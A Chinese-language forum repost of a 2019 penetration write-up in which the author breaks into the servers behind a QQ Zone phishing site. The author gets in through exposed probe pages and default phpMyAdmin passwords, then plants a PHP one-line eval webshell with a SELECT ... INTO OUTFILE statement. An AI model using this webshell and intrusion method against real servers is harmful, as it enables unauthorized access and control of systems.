搜索

[18507] 2019-12-29_渗透实战之QQ空间钓鱼网站

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2019-12-29_渗透实战之QQ空间钓鱼网站 渗 透 实 战 之 Q Q 空 间 钓 鱼 网 站 d y l a n   H A C K 学 习 呀   2 0 1 9 - 1 2 - 2 9 0 x 0 0   前 言 前 言 打 开 邮 箱 ， 发 现 垃 圾 箱 里 躺 着 一 封 垃 圾 邮 件 一 看 就 是 钓 鱼 邮 件 ， 话 不 多 说 ， 搞 他 。 没 什 么 技 术 含 量 ， 看 看 就 好 。 0 x 0 1   渗 透 过 程 渗 透 过 程 第 一 部 分 第 一 部 分 直 接 打 开 链 接 除 了 登 陆 可 以 点 击 ， 其 他 超 链 接 都 是 假 的 ， 也 太 不 敬 业 了 。 然 后 发 现 地 址 栏 域 名 和 垃 圾 邮 箱 里 面 的 给 的 链 接 的 域 名 不 一 样 ， 是 跳 转 过 去 的 ， 遂 访 问 初 始 的 域 名 。 打 开 一 看 ，
  页 面 。 p h p s t u d y   探 针   可 以 测 试   数 据 库 连 接 ， 试 试 看 弱 口 令 ， 数 据 库 默 认 账 号 密 码 测 试 成 功 。 然 后 尝 试 登 陆 直 接 访 问 , 使 用 测 试 成 功 的 弱 口 令 登 陆 。 p h p S t u d y   探 针   2 0 1 4 p h p s t u d y r o o t p h p m y a d m i n u r l + / p h p M y A d m i n /
数 据 库 里 面 没 什 么 东 西 ， 因 为 在 知 道 了 物 理 路 径 ， 所 有 直 接 写 一 句 话 木 马 ， 连 接 之 。 探 针 页 面 s e l e c t   ' < ? p h p   @ e v a l ( $ _ P O S T [ p a s s ] ) ; ? > '   i n t o   o u t f i l e   ' D : / p h p s t u d y / W W W / t e s t . p h p ' ;
这 个 服 务 器 里 面 啥 都 没 有 ， 只 有 几 个 用 来 跳 转 连 接 的 p h p 文 件 ， 就 回 到 开 头 ， 继 续 搞 q q 钓 鱼 网 站 的 。 第 二 部 分 第 二 部 分 Q Q 钓 鱼 站 的 后 台 ， 找 了 一 圈 没 找 到 。 访 问 一 个 不 存 在 的 文 件 ， 提 示 页 面 如 下 图 发 现 是 用 搭 建 的 ， 猜 测 会 不 会 也 有 尝 试 访 问 U P U P W p h p m y a d m i n
  ， 返 回   4 0 4 又 尝 试 访 问 ， 成 了 尝 试 弱 口 令 成 功 登 陆 准 备 写 入 一 句 话 木 马 ， 不 知 道 物 理 路 径 。 u r l + / p h p M y A d m i n / u r l + / p m d /
使 用 语 句 然 后 尝 试 在 默 认 网 站 路 径 下 写 入 木 马 提 示 ： 写 入 失 败 ， 文 件 夹 不 存 在 然 后 又 尝 试 了 其 他 路 径 名 ， 均 以 失 败 告 终 一 筹 莫 展 之 际 ， 想 到 会 不 会 也 有 探 针 页 面 ， 会 不 会 没 删 ？ 百 度 之 ， 默 认 的 探 针 页 面 是 , 尝 试 访 问 s e l e c t   @ @ b a s e d i r u p u p w ( E r r c o d e :   2   " N o   s u c h   f i l e   o r   d i r e c t o r y " ) u p u p w u p u p w u . p h p
得 到 网 站 物 理 路 径 ， 然 后 又 是 愉 快 的 上 蚁 剑 马 连 接 了 。 作 者 ： d y l a n 作 者 博 客 ： d y l a n ‘ s   b l o g 本 文 由 公 众 号 H A C K 学 习 排 版 编 辑 整 理

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理